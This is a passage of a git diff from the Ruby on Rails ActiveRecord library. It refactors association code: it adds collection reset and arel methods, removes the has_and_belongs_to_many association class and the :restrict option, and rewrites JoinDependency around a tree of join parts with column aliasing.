-      #   person.pets.many? #=> false
+      #   person.pets.count # => 1
+      #   person.pets.many? # => false
       #
       #   person.pets << Pet.new(name: 'Snoopy')
-      #   person.pets.count #=> 2
-      #   person.pets.many? #=> true
+      #   person.pets.count # => 2
+      #   person.pets.many? # => true
       #
       # You can also pass a block to define criteria. The
       # behavior is the same, it returns true if the collection
@@ -833,6 +860,10 @@ module ActiveRecord
         !!@association.include?(record)
       end
 
+      def arel
+        scope.arel
+      end
+
       def proxy_association
         @association
       end
@@ -849,8 +880,6 @@ module ActiveRecord
       def scope
         @association.scope
       end
-
-      # :nodoc:
       alias spawn scope
 
       # Equivalent to <tt>Array#==</tt>. Returns +true+ if the two arrays
@@ -979,6 +1008,28 @@ module ActiveRecord
         proxy_association.reload
         self
       end
+
+      # Unloads the association. Returns +self+.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets # uses the pets cache
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets.reset # clears the pets cache
+      #
+      #   person.pets  # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      def reset
+        proxy_association.reset
+        proxy_association.reset_scope
+        self
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
deleted file mode 100644
index bb3e3db..0000000
--- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-module ActiveRecord
-  # = Active Record Has And Belongs To Many Association
-  module Associations
-    class HasAndBelongsToManyAssociation < CollectionAssociation #:nodoc:
-      attr_reader :join_table
-
-      def initialize(owner, reflection)
-        @join_table = Arel::Table.new(reflection.join_table)
-        super
-      end
-
-      def insert_record(record, validate = true, raise = false)
-        if record.new_record?
-          if raise
-            record.save!(:validate => validate)
-          else
-            return unless record.save(:validate => validate)
-          end
-        end
-
-        if options[:insert_sql]
-          owner.connection.insert(interpolate(options[:insert_sql], record))
-        else
-          stmt = join_table.compile_insert(
-            join_table[reflection.foreign_key]             => owner.id,
-            join_table[reflection.association_foreign_key] => record.id
-          )
-
-          owner.class.connection.insert stmt
-        end
-
-        record
-      end
-
-      private
-
-        def count_records
-          load_target.size
-        end
-
-        def delete_records(records, method)
-          if sql = options[:delete_sql]
-            records = load_target if records == :all
-            records.each { |record| owner.class.connection.delete(interpolate(sql, record)) }
-          else
-            relation  = join_table
-            condition = relation[reflection.foreign_key].eq(owner.id)
-
-            unless records == :all
-              condition = condition.and(
-                relation[reflection.association_foreign_key]
-                  .in(records.map { |x| x.id }.compact)
-              )
-            end
-
-            owner.class.connection.delete(relation.where(condition).compile_delete)
-          end
-        end
-
-        def invertible_for?(record)
-          false
-        end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
index 95822af..107c09e 100644
--- a/activerecord/lib/active_record/associations/has_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -9,7 +9,7 @@ module ActiveRecord
 
       def handle_dependency
         case options[:dependent]
-        when :restrict, :restrict_with_exception
+        when :restrict_with_exception
           raise ActiveRecord::DeleteRestrictionError.new(reflection.name) unless empty?
 
         when :restrict_with_error
@@ -59,8 +59,6 @@ module ActiveRecord
         def count_records
           count = if has_cached_counter?
             owner.send(:read_attribute, cached_counter_attribute_name)
-          elsif options[:counter_sql] || options[:finder_sql]
-            reflection.klass.count_by_sql(custom_counter_sql)
           else
             scope.count
           end
@@ -73,15 +71,15 @@ module ActiveRecord
           [association_scope.limit_value, count].compact.min
         end
 
-        def has_cached_counter?(reflection = reflection)
+        def has_cached_counter?(reflection = reflection())
           owner.attribute_present?(cached_counter_attribute_name(reflection))
         end
 
-        def cached_counter_attribute_name(reflection = reflection)
+        def cached_counter_attribute_name(reflection = reflection())
           options[:counter_cache] || "#{reflection.name}_count"
         end
 
-        def update_counter(difference, reflection = reflection)
+        def update_counter(difference, reflection = reflection())
           if has_cached_counter?(reflection)
             counter = cached_counter_attribute_name(reflection)
             owner.class.update_counters(owner.id, counter => difference)
@@ -100,9 +98,10 @@ module ActiveRecord
         #     it will be decremented twice.
         #
         # Hence this method.
-        def inverse_updates_counter_cache?(reflection = reflection)
+        def inverse_updates_counter_cache?(reflection = reflection())
           counter_name = cached_counter_attribute_name(reflection)
-          reflection.klass.reflect_on_all_associations(:belongs_to).any? { |inverse_reflection|
+          reflection.klass._reflections.values.any? { |inverse_reflection|
+            :belongs_to == inverse_reflection.macro &&
             inverse_reflection.counter_cache_column == counter_name
           }
         end
@@ -110,10 +109,10 @@ module ActiveRecord
         # Deletes the records according to the <tt>:dependent</tt> option.
         def delete_records(records, method)
           if method == :destroy
-            records.each { |r| r.destroy }
+            records.each(&:destroy!)
             update_counter(-records.length) unless inverse_updates_counter_cache?
           else
-            if records == :all
+            if records == :all || !reflection.klass.primary_key
               scope = self.scope
             else
               scope = self.scope.where(reflection.klass.primary_key => records)
@@ -128,7 +127,11 @@ module ActiveRecord
         end
 
         def foreign_key_present?
-          owner.attribute_present?(reflection.association_primary_key)
+          if reflection.klass.primary_key
+            owner.attribute_present?(reflection.association_primary_key)
+          else
+            false
+          end
         end
     end
   end
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
index a74dd1c..40cd933 100644
--- a/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -22,7 +22,7 @@ module ActiveRecord
         elsif loaded?
           target.size
         else
-          count
+          super
         end
       end
 
@@ -30,7 +30,6 @@ module ActiveRecord
         unless owner.new_record?
           records.flatten.each do |record|
             raise_on_type_mismatch!(record)
-            record.save! if record.new_record?
           end
         end
 
@@ -40,7 +39,7 @@ module ActiveRecord
       def concat_records(records)
         ensure_not_nested
 
-        records = super
+        records = super(records, true)
 
         if owner.new_record? && records
           records.flatten.each do |record|
@@ -84,12 +83,22 @@ module ActiveRecord
           @through_records[record.object_id] ||= begin
             ensure_mutable
 
-            through_record = through_association.build
+            through_record = through_association.build(*options_for_through_record)
             through_record.send("#{source_reflection.name}=", record)
             through_record
           end
         end
 
+        def options_for_through_record
+          [through_scope_attributes]
+        end
+
+        def through_scope_attributes
+          scope.where_values_hash(through_association.reflection.name.to_s).
+            except!(through_association.reflection.foreign_key,
+                    through_association.reflection.klass.inheritance_column)
+        end
+
         def save_through_record(record)
           build_through_record(record).save!
         ensure
@@ -140,7 +149,21 @@ module ActiveRecord
 
           case method
           when :destroy
-            count = scope.destroy_all.length
+            if scope.klass.primary_key
+              count = scope.destroy_all.length
+            else
+              scope.to_a.each do |record|
+                record.run_callbacks :destroy
+              end
+
+              arel = scope.arel
+
+              stmt = Arel::DeleteManager.new arel.engine
+              stmt.from scope.klass.arel_table
+              stmt.wheres = arel.constraints
+
+              count = scope.klass.connection.delete(stmt, 'SQL', scope.bind_values)
+            end
           when :nullify
             count = scope.update_all(source_reflection.foreign_key => nil)
           else
@@ -149,7 +172,7 @@ module ActiveRecord
 
           delete_through_records(records)
 
-          if source_reflection.options[:counter_cache]
+          if source_reflection.options[:counter_cache] && method != :destroy
             counter = source_reflection.counter_cache_column
             klass.decrement_counter counter, records.map(&:id)
           end
diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb
index 8edafcd..944caac 100644
--- a/activerecord/lib/active_record/associations/has_one_association.rb
+++ b/activerecord/lib/active_record/associations/has_one_association.rb
@@ -6,7 +6,7 @@ module ActiveRecord
 
       def handle_dependency
         case options[:dependent]
-        when :restrict, :restrict_with_exception
+        when :restrict_with_exception
           raise ActiveRecord::DeleteRestrictionError.new(reflection.name) if load_target
 
         when :restrict_with_error
@@ -26,11 +26,13 @@ module ActiveRecord
         load_target
 
         return self.target if !(target || record)
-        if (target != record) || record.changed?
+
+        assigning_another_record = target != record
+        if assigning_another_record || record.changed?
           save &&= owner.persisted?
 
           transaction_if(save) do
-            remove_target!(options[:dependent]) if target && !target.destroyed?
+            remove_target!(options[:dependent]) if target && !target.destroyed? && assigning_another_record
 
             if record
               set_owner_attributes(record)
diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb
index 28e081c..abe4734 100644
--- a/activerecord/lib/active_record/associations/join_dependency.rb
+++ b/activerecord/lib/active_record/associations/join_dependency.rb
@@ -1,15 +1,79 @@
 module ActiveRecord
   module Associations
     class JoinDependency # :nodoc:
-      autoload :JoinPart,        'active_record/associations/join_dependency/join_part'
       autoload :JoinBase,        'active_record/associations/join_dependency/join_base'
       autoload :JoinAssociation, 'active_record/associations/join_dependency/join_association'
 
-      attr_reader :join_parts, :reflections, :alias_tracker, :base_klass
+      class Aliases # :nodoc:
+        def initialize(tables)
+          @tables = tables
+          @alias_cache = tables.each_with_object({}) { |table,h|
+            h[table.node] = table.columns.each_with_object({}) { |column,i|
+              i[column.name] = column.alias
+            }
+          }
+          @name_and_alias_cache = tables.each_with_object({}) { |table,h|
+            h[table.node] = table.columns.map { |column|
+              [column.name, column.alias]
+            }
+          }
+        end
+
+        def columns
+          @tables.flat_map { |t| t.column_aliases }
+        end
+
+        # An array of [column_name, alias] pairs for the table
+        def column_aliases(node)
+          @name_and_alias_cache[node]
+        end
+
+        def column_alias(node, column)
+          @alias_cache[node][column]
+        end
+
+        class Table < Struct.new(:node, :columns)
+          def table
+            Arel::Nodes::TableAlias.new node.table, node.aliased_table_name
+          end
+
+          def column_aliases
+            t = table
+            columns.map { |column| t[column.name].as Arel.sql column.alias }
+          end
+        end
+        Column = Struct.new(:name, :alias)
+      end
+
+      attr_reader :alias_tracker, :base_klass, :join_root
+
+      def self.make_tree(associations)
+        hash = {}
+        walk_tree associations, hash
+        hash
+      end
+
+      def self.walk_tree(associations, hash)
+        case associations
+        when Symbol, String
+          hash[associations.to_sym] ||= {}
+        when Array
+          associations.each do |assoc|
+            walk_tree assoc, hash
+          end
+        when Hash
+          associations.each do |k,v|
+            cache = hash[k] ||= {}
+            walk_tree v, cache
+          end
+        else
+          raise ConfigurationError, associations.inspect
+        end
+      end
 
       # base is the base class on which operation is taking place.
       # associations is the list of associations which are joined using hash, symbol or array.
-      # joins is the list of all string join commnads and arel nodes.
+      # joins is the list of all string join commands and arel nodes.
       #
       #  Example :
       #
@@ -19,216 +83,191 @@ module ActiveRecord
       #  end
       #
       #  If I execute `@physician.patients.to_a` then
-      #    base #=> Physician
-      #    associations #=> []
-      #    joins #=>  [#<Arel::Nodes::InnerJoin: ...]
+      #    base # => Physician
+      #    associations # => []
+      #    joins # =>  [#<Arel::Nodes::InnerJoin: ...]
       #
       #  However if I execute `Physician.joins(:appointments).to_a` then
-      #    base #=> Physician
-      #    associations #=> [:appointments]
-      #    joins #=>  []
+      #    base # => Physician
+      #    associations # => [:appointments]
+      #    joins # =>  []
       #
       def initialize(base, associations, joins)
-        @base_klass    = base
-        @table_joins   = joins
-        @join_parts    = [JoinBase.new(base)]
-        @associations  = {}
-        @reflections   = []
-        @alias_tracker = AliasTracker.new(base.connection, joins)
-        @alias_tracker.aliased_name_for(base.table_name) # Updates the count for base.table_name to 1
-        build(associations)
-      end
-
-      def graft(*associations)
-        associations.each do |association|
-          join_associations.detect {|a| association == a} ||
-            build(association.reflection.name, association.find_parent_in(self) || join_base, association.join_type)
-        end
-        self
+        @alias_tracker = AliasTracker.create(base.connection, joins)
+        @alias_tracker.aliased_name_for(base.table_name, base.table_name) # Updates the count for base.table_name to 1
+        tree = self.class.make_tree associations
+        @join_root = JoinBase.new base, build(tree, base)
+        @join_root.children.each { |child| construct_tables! @join_root, child }
       end
 
-      def join_associations
-        join_parts.last(join_parts.length - 1)
+      def reflections
+        join_root.drop(1).map!(&:reflection)
       end
 
-      def join_base
-        join_parts.first
+      def join_constraints(outer_joins)
+        joins = join_root.children.flat_map { |child|
+          make_inner_joins join_root, child
+        }
+
+        joins.concat outer_joins.flat_map { |oj|
+          if join_root.match? oj.join_root
+            walk join_root, oj.join_root
+          else
+            oj.join_root.children.flat_map { |child|
+              make_outer_joins oj.join_root, child
+            }
+          end
+        }
       end
 
-      def columns
-        join_parts.collect { |join_part|
-          table = join_part.aliased_table
-          join_part.column_names_with_alias.collect{ |column_name, aliased_name|
-            table[column_name].as Arel.sql(aliased_name)
+      def aliases
+        Aliases.new join_root.each_with_index.map { |join_part,i|
+          columns = join_part.column_names.each_with_index.map { |column_name,j|
+            Aliases::Column.new column_name, "t#{i}_r#{j}"
           }
-        }.flatten
+          Aliases::Table.new(join_part, columns)
+        }
       end
 
-      def instantiate(rows)
-        primary_key = join_base.aliased_primary_key
-        parents = {}
-
-        records = rows.map { |model|
-          primary_id = model[primary_key]
-          parent = parents[primary_id] ||= join_base.instantiate(model)
-          construct(parent, @associations, join_associations, model)
-          parent
-        }.uniq
+      def instantiate(result_set, aliases)
+        primary_key = aliases.column_alias(join_root, join_root.primary_key)
+        type_caster = result_set.column_type primary_key
 
-        remove_duplicate_results!(base_klass, records, @associations)
-        records
-      end
+        seen = Hash.new { |h,parent_klass|
+          h[parent_klass] = Hash.new { |i,parent_id|
+            i[parent_id] = Hash.new { |j,child_klass| j[child_klass] = {} }
+          }
+        }
 
-      protected
+        model_cache = Hash.new { |h,klass| h[klass] = {} }
+        parents = model_cache[join_root]
+        column_aliases = aliases.column_aliases join_root
 
-      def remove_duplicate_results!(base, records, associations)
-        case associations
-        when Symbol, String
-          reflection = base.reflections[associations]
-          remove_uniq_by_reflection(reflection, records)
-        when Array
-          associations.each do |association|
-            remove_duplicate_results!(base, records, association)
-          end
-        when Hash
-          associations.each_key do |name|
-            reflection = base.reflections[name]
-            remove_uniq_by_reflection(reflection, records)
-
-            parent_records = []
-            records.each do |record|
-              if descendant = record.send(reflection.name)
-                if reflection.collection?
-                  parent_records.concat descendant.target.uniq
-                else
-                  parent_records << descendant
-                end
-              end
-            end
+        result_set.each { |row_hash|
+          primary_id = type_caster.type_cast row_hash[primary_key]
+          parent = parents[primary_id] ||= join_root.instantiate(row_hash, column_aliases)
+          construct(parent, join_root, row_hash, result_set, seen, model_cache, aliases)
+        }
 
-            remove_duplicate_results!(reflection.klass, parent_records, associations[name]) unless parent_records.empty?
-          end
-        end
+        parents.values
       end
 
-      def cache_joined_association(association)
-        associations = []
-        parent = association.parent
-        while parent != join_base
-          associations.unshift(parent.reflection.name)
-          parent = parent.parent
-        end
-        ref = @associations
-        associations.each do |key|
-          ref = ref[key]
-        end
-        ref[association.reflection.name] ||= {}
+      private
+
+      def make_constraints(parent, child, tables, join_type)
+        chain         = child.reflection.chain
+        foreign_table = parent.table
+        foreign_klass = parent.base_klass
+        child.join_constraints(foreign_table, foreign_klass, child, join_type, tables, child.reflection.scope_chain, chain)
       end
 
-      def build(associations, parent = nil, join_type = Arel::InnerJoin)
-        parent ||= join_parts.last
-        case associations
-        when Symbol, String
-          reflection = parent.reflections[associations.intern] or
-          raise ConfigurationError, "Association named '#{ associations }' was not found on #{ parent.base_klass.name }; perhaps you misspelled it?"
-          unless join_association = find_join_association(reflection, parent)
-            @reflections << reflection
-            join_association = build_join_association(reflection, parent)
-            join_association.join_type = join_type
-            @join_parts << join_association
-            cache_joined_association(join_association)
-          end
-          join_association
-        when Array
-          associations.each do |association|
-            build(association, parent, join_type)
-          end
-        when Hash
-          associations.keys.sort_by { |a| a.to_s }.each do |name|
-            join_association = build(name, parent, join_type)
-            build(associations[name], join_association, join_type)
-          end
-        else
-          raise ConfigurationError, associations.inspect
-        end
+      def make_outer_joins(parent, child)
+        tables    = table_aliases_for(parent, child)
+        join_type = Arel::Nodes::OuterJoin
+        joins     = make_constraints parent, child, tables, join_type
+
+        joins.concat child.children.flat_map { |c| make_outer_joins(child, c) }
       end
 
-      def find_join_association(name_or_reflection, parent)
-        if String === name_or_reflection
-          name_or_reflection = name_or_reflection.to_sym
-        end
+      def make_inner_joins(parent, child)
+        tables    = child.tables
+        join_type = Arel::Nodes::InnerJoin
+        joins     = make_constraints parent, child, tables, join_type
 
-        join_associations.detect { |j|
-          j.reflection == name_or_reflection && j.parent == parent
+        joins.concat child.children.flat_map { |c| make_inner_joins(child, c) }
+      end
+
+      def table_aliases_for(parent, node)
+        node.reflection.chain.map { |reflection|
+          alias_tracker.aliased_table_for(
+            reflection.table_name,
+            table_alias_for(reflection, parent, reflection != node.reflection)
+          )
         }
       end
 
-      def remove_uniq_by_reflection(reflection, records)
-        if reflection && reflection.collection?
-          records.each { |record| record.send(reflection.name).target.uniq! }
-        end
+      def construct_tables!(parent, node)
+        node.tables = table_aliases_for(parent, node)
+        node.children.each { |child| construct_tables! node, child }
       end
 
-      def build_join_association(reflection, parent)
-        JoinAssociation.new(reflection, self, parent)
+      def table_alias_for(reflection, parent, join)
+        name = "#{reflection.plural_name}_#{parent.table_name}"
+        name << "_join" if join
+        name
       end
 
-      def construct(parent, associations, join_parts, row)
-        case associations
-        when Symbol, String
-          name = associations.to_s
+      def walk(left, right)
+        intersection, missing = right.children.map { |node1|
+          [left.children.find { |node2| node1.match? node2 }, node1]
+        }.partition(&:first)
 
-          join_part = join_parts.detect { |j|
-            j.reflection.name.to_s == name &&
-              j.parent_table_name == parent.class.table_name }
+        ojs = missing.flat_map { |_,n| make_outer_joins left, n }
+        intersection.flat_map { |l,r| walk l, r }.concat ojs
+      end
 
-            raise(ConfigurationError, "No such association") unless join_part
+      def find_reflection(klass, name)
+        klass._reflect_on_association(name) or
+          raise ConfigurationError, "Association named '#{ name }' was not found on #{ klass.name }; perhaps you misspelled it?"
+      end
 
-            join_parts.delete(join_part)
-            construct_association(parent, join_part, row)
-        when Array
-          associations.each do |association|
-            construct(parent, association, join_parts, row)
-          end
-        when Hash
-          associations.sort_by { |k,_| k.to_s }.each do |association_name, assoc|
-            association = construct(parent, association_name, join_parts, row)
-            construct(association, assoc, join_parts, row) if association
+      def build(associations, base_klass)
+        associations.map do |name, right|
+          reflection = find_reflection base_klass, name
+          reflection.check_validity!
+
+          if reflection.options[:polymorphic]
+            raise EagerLoadPolymorphicError.new(reflection)
           end
-        else
-          raise ConfigurationError, associations.inspect
+
+          JoinAssociation.new reflection, build(right, reflection.klass)
         end
       end
 
-      def construct_association(record, join_part, row)
-        return if record.id.to_s != join_part.parent.record_id(row).to_s
+      def construct(ar_parent, parent, row, rs, seen, model_cache, aliases)
+        primary_id  = ar_parent.id
 
-        macro = join_part.reflection.macro
-        if macro == :has_one
-          return record.association(join_part.reflection.name).target if record.association_cache.key?(join_part.reflection.name)
-          association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
-          set_target_and_inverse(join_part, association, record)
-        else
-          association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
-          case macro
-          when :has_many, :has_and_belongs_to_many
-            other = record.association(join_part.reflection.name)
+        parent.children.each do |node|
+          if node.reflection.collection?
+            other = ar_parent.association(node.reflection.name)
             other.loaded!
-            other.target.push(association) if association
-            other.set_inverse_instance(association)
-          when :belongs_to
-            set_target_and_inverse(join_part, association, record)
           else
-            raise ConfigurationError, "unknown macro: #{join_part.reflection.macro}"
+            if ar_parent.association_cache.key?(node.reflection.name)
+              model = ar_parent.association(node.reflection.name).target
+              construct(model, node, row, rs, seen, model_cache, aliases)
+              next
+            end
+          end
+
+          key = aliases.column_alias(node, node.primary_key)
+          id = row[key]
+          next if id.nil?
+
+          model = seen[parent.base_klass][primary_id][node.base_klass][id]
+
+          if model
+            construct(model, node, row, rs, seen, model_cache, aliases)
+          else
+            model = construct_model(ar_parent, node, row, model_cache, id, aliases)
+            seen[parent.base_klass][primary_id][node.base_klass][id] = model
+            construct(model, node, row, rs, seen, model_cache, aliases)
           end
         end
-        association
       end
 
-      def set_target_and_inverse(join_part, association, record)
-        other = record.association(join_part.reflection.name)
-        other.target = association
-        other.set_inverse_instance(association)
+      def construct_model(record, node, row, model_cache, id, aliases)
+        model = model_cache[node][id] ||= node.instantiate(row,
+                                                           aliases.column_aliases(node))
+        other = record.association(node.reflection.name)
+
+        if node.reflection.collection?
+          other.target.push(model)
+        else
+          other.target = model
+        end
+
+        other.set_inverse_instance(model)
+        model
       end
     end
   end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_association.rb b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
index d88e62b..1d923ec 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_association.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
@@ -1,128 +1,80 @@
+require 'active_record/associations/join_dependency/join_part'
+
 module ActiveRecord
   module Associations
     class JoinDependency # :nodoc:
       class JoinAssociation < JoinPart # :nodoc:
-        include JoinHelper
-
         # The reflection of the association represented
         attr_reader :reflection
 
-        # The JoinDependency object which this JoinAssociation exists within. This is mainly
-        # relevant for generating aliases which do not conflict with other joins which are
-        # part of the query.
-        attr_reader :join_dependency
-
-        # A JoinBase instance representing the active record we are joining onto.
-        # (So in Author.has_many :posts, the Author would be that base record.)
-        attr_reader :parent
-
-        # What type of join will be generated, either Arel::InnerJoin (default) or Arel::OuterJoin
-        attr_accessor :join_type
-
-        # These implement abstract methods from the superclass
-        attr_reader :aliased_prefix
-
-        attr_reader :tables
-
-        delegate :options, :through_reflection, :source_reflection, :chain, :to => :reflection
-        delegate :table, :table_name, :to => :parent, :prefix => :parent
-        delegate :alias_tracker, :to => :join_dependency
-
-        alias :alias_suffix :parent_table_name
+        attr_accessor :tables
 
-        def initialize(reflection, join_dependency, parent = nil)
-          reflection.check_validity!
-
-          if reflection.options[:polymorphic]
-            raise EagerLoadPolymorphicError.new(reflection)
-          end
-
-          super(reflection.klass)
+        def initialize(reflection, children)
+          super(reflection.klass, children)
 
           @reflection      = reflection
-          @join_dependency = join_dependency
-          @parent          = parent
-          @join_type       = Arel::InnerJoin
-          @aliased_prefix  = "t#{ join_dependency.join_parts.size }"
-          @tables          = construct_tables.reverse
+          @tables          = nil
         end
 
-        def ==(other)
-          other.class == self.class &&
-            other.reflection == reflection &&
-            other.parent == parent
+        def match?(other)
+          return true if self == other
+          super && reflection == other.reflection
         end
 
-        def find_parent_in(other_join_dependency)
-          other_join_dependency.join_parts.detect do |join_part|
-            case parent
-            when JoinBase
-              parent.base_klass == join_part.base_klass
-            else
-              parent == join_part
-            end
-          end
-        end
+        def join_constraints(foreign_table, foreign_klass, node, join_type, tables, scope_chain, chain)
+          joins         = []
+          tables        = tables.reverse
 
-        def join_to(manager)
-          tables        = @tables.dup
-          foreign_table = parent_table
-          foreign_klass = parent.base_klass
+          scope_chain_index = 0
+          scope_chain = scope_chain.reverse
 
           # The chain starts with the target table, but we want to end with it here (makes
           # more sense in this context), so we reverse
-          chain.reverse.each_with_index do |reflection, i|
+          chain.reverse_each do |reflection|
             table = tables.shift
+            klass = reflection.klass
 
             case reflection.source_macro
             when :belongs_to
               key         = reflection.association_primary_key
               foreign_key = reflection.foreign_key
-            when :has_and_belongs_to_many
-              # Join the join table first...
-              manager.from(join(
-                table,
-                table[reflection.foreign_key].
-                  eq(foreign_table[reflection.active_record_primary_key])
-              ))
-
-              foreign_table, table = table, tables.shift
-
-              key         = reflection.association_primary_key
-              foreign_key = reflection.association_foreign_key
             else
               key         = reflection.foreign_key
               foreign_key = reflection.active_record_primary_key
             end
 
-            constraint = build_constraint(reflection, table, key, foreign_table, foreign_key)
+            constraint = build_constraint(klass, table, key, foreign_table, foreign_key)
 
-            scope_chain_items = scope_chain[i]
-
-            if reflection.type
-              scope_chain_items += [
-                ActiveRecord::Relation.new(reflection.klass, table)
-                  .where(reflection.type => foreign_klass.base_class.name)
-              ]
+            scope_chain_items = scope_chain[scope_chain_index].map do |item|
+              if item.is_a?(Relation)
+                item
+              else
+                ActiveRecord::Relation.create(klass, table).instance_exec(node, &item)
+              end
             end
+            scope_chain_index += 1
 
-            scope_chain_items += [reflection.klass.send(:build_default_scope)].compact
+            scope_chain_items.concat [klass.send(:build_default_scope, ActiveRecord::Relation.create(klass, table))].compact
 
-            scope_chain_items.each do |item|
-              unless item.is_a?(Relation)
-                item = ActiveRecord::Relation.new(reflection.klass, table).instance_exec(self, &item)
-              end
+            rel = scope_chain_items.inject(scope_chain_items.shift) do |left, right|
+              left.merge right
+            end
 
-              constraint = constraint.and(item.arel.constraints) unless item.arel.constraints.empty?
+            if reflection.type
+              constraint = constraint.and table[reflection.type].eq foreign_klass.base_class.name
             end
 
-            manager.from(join(table, constraint))
+            if rel && !rel.arel.constraints.empty?
+              constraint = constraint.and rel.arel.constraints
+            end
+
+            joins << table.create_join(table, table.create_on(constraint), join_type)
 
             # The current table in this iteration becomes the foreign table in the next
-            foreign_table, foreign_klass = table, reflection.klass
+            foreign_table, foreign_klass = table, klass
           end
 
-          manager
+          joins
         end
 
         #  Builds equality condition.
@@ -134,42 +86,32 @@ module ActiveRecord
         #  end
         #
         #  If I execute `Physician.joins(:appointments).to_a` then
-        #    reflection    #=> #<ActiveRecord::Reflection::AssociationReflection @macro=:has_many ...>
-        #    table         #=> #<Arel::Table @name="appointments" ...>
-        #    key           #=>  physician_id
-        #    foreign_table #=> #<Arel::Table @name="physicians" ...>
-        #    foreign_key   #=> id
+        #    reflection    # => #<ActiveRecord::Reflection::AssociationReflection @macro=:has_many ...>
+        #    table         # => #<Arel::Table @name="appointments" ...>
+        #    key           # =>  physician_id
+        #    foreign_table # => #<Arel::Table @name="physicians" ...>
+        #    foreign_key   # => id
         #
-        def build_constraint(reflection, table, key, foreign_table, foreign_key)
+        def build_constraint(klass, table, key, foreign_table, foreign_key)
           constraint = table[key].eq(foreign_table[foreign_key])
 
-          if reflection.klass.finder_needs_type_condition?
+          if klass.finder_needs_type_condition?
             constraint = table.create_and([
               constraint,
-              reflection.klass.send(:type_condition, table)
+              klass.send(:type_condition, table)
             ])
           end
 
           constraint
         end
 
-        def join_relation(joining_relation)
-          self.join_type = Arel::OuterJoin
-          joining_relation.joins(self)
-        end
-
         def table
-          tables.last
+          tables.first
         end
 
         def aliased_table_name
           table.table_alias || table.name
         end
-
-        def scope_chain
-          @scope_chain ||= reflection.scope_chain.reverse
-        end
-
       end
     end
   end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_base.rb b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
index a7dacdb..3a26c25 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_base.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
@@ -1,18 +1,16 @@
+require 'active_record/associations/join_dependency/join_part'
+
 module ActiveRecord
   module Associations
     class JoinDependency # :nodoc:
       class JoinBase < JoinPart # :nodoc:
-        def ==(other)
-          other.class == self.class &&
-            other.base_klass == base_klass
-        end
-
-        def aliased_prefix
-          "t0"
+        def match?(other)
+          return true if self == other
+          super && base_klass == other.base_klass
         end
 
         def table
-          Arel::Table.new(table_name, arel_engine)
+          base_klass.arel_table
         end
 
         def aliased_table_name
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_part.rb b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
index 8024105..91e1c6a 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_part.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
@@ -8,34 +8,36 @@ module ActiveRecord
       # operations (for example a has_and_belongs_to_many JoinAssociation would result in
       # two; one for the join table and one for the target table).
       class JoinPart # :nodoc:
+        include Enumerable
+
         # The Active Record class which this join part is associated 'about'; for a JoinBase
         # this is the actual base model, for a JoinAssociation this is the target model of the
         # association.
-        attr_reader :base_klass
+        attr_reader :base_klass, :children
 
-        delegate :table_name, :column_names, :primary_key, :reflections, :arel_engine, :to => :base_klass
+        delegate :table_name, :column_names, :primary_key, :to => :base_klass
 
-        def initialize(base_klass)
+        def initialize(base_klass, children)
           @base_klass = base_klass
-          @cached_record = {}
           @column_names_with_alias = nil
+          @children = children
         end
 
-        def aliased_table
-          Arel::Nodes::TableAlias.new table, aliased_table_name
+        def name
+          reflection.name
         end
 
-        def ==(other)
-          raise NotImplementedError
+        def match?(other)
+          self.class == other.class
         end
 
-        # An Arel::Table for the active_record
-        def table
-          raise NotImplementedError
+        def each(&block)
+          yield self
+          children.each { |child| child.each(&block) }
         end
 
-        # The prefix to be used when aliasing columns in the active_record's table
-        def aliased_prefix
+        # An Arel::Table for the active_record
+        def table
           raise NotImplementedError
         end
 
@@ -44,24 +46,7 @@ module ActiveRecord
           raise NotImplementedError
         end
 
-        # The alias for the primary key of the active_record's table
-        def aliased_primary_key
-          "#{aliased_prefix}_r0"
-        end
-
-        # An array of [column_name, alias] pairs for the table
-        def column_names_with_alias
-          unless @column_names_with_alias
-            @column_names_with_alias = []
-
-            ([primary_key] + (column_names - [primary_key])).compact.each_with_index do |column_name, i|
-              @column_names_with_alias << [column_name, "#{aliased_prefix}_r#{i}"]
-            end
-          end
-          @column_names_with_alias
-        end
-
-        def extract_record(row)
+        def extract_record(row, column_names_with_alias)
           # This code is performance critical as it is called per row.
           # see: https://github.com/rails/rails/pull/12185
           hash = {}
@@ -78,12 +63,8 @@ module ActiveRecord
           hash
         end
 
-        def record_id(row)
-          row[aliased_primary_key]
-        end
-
-        def instantiate(row)
-          @cached_record[record_id(row)] ||= base_klass.instantiate(extract_record(row))
+        def instantiate(row, aliases)
+          base_klass.instantiate(extract_record(row, aliases))
         end
       end
     end
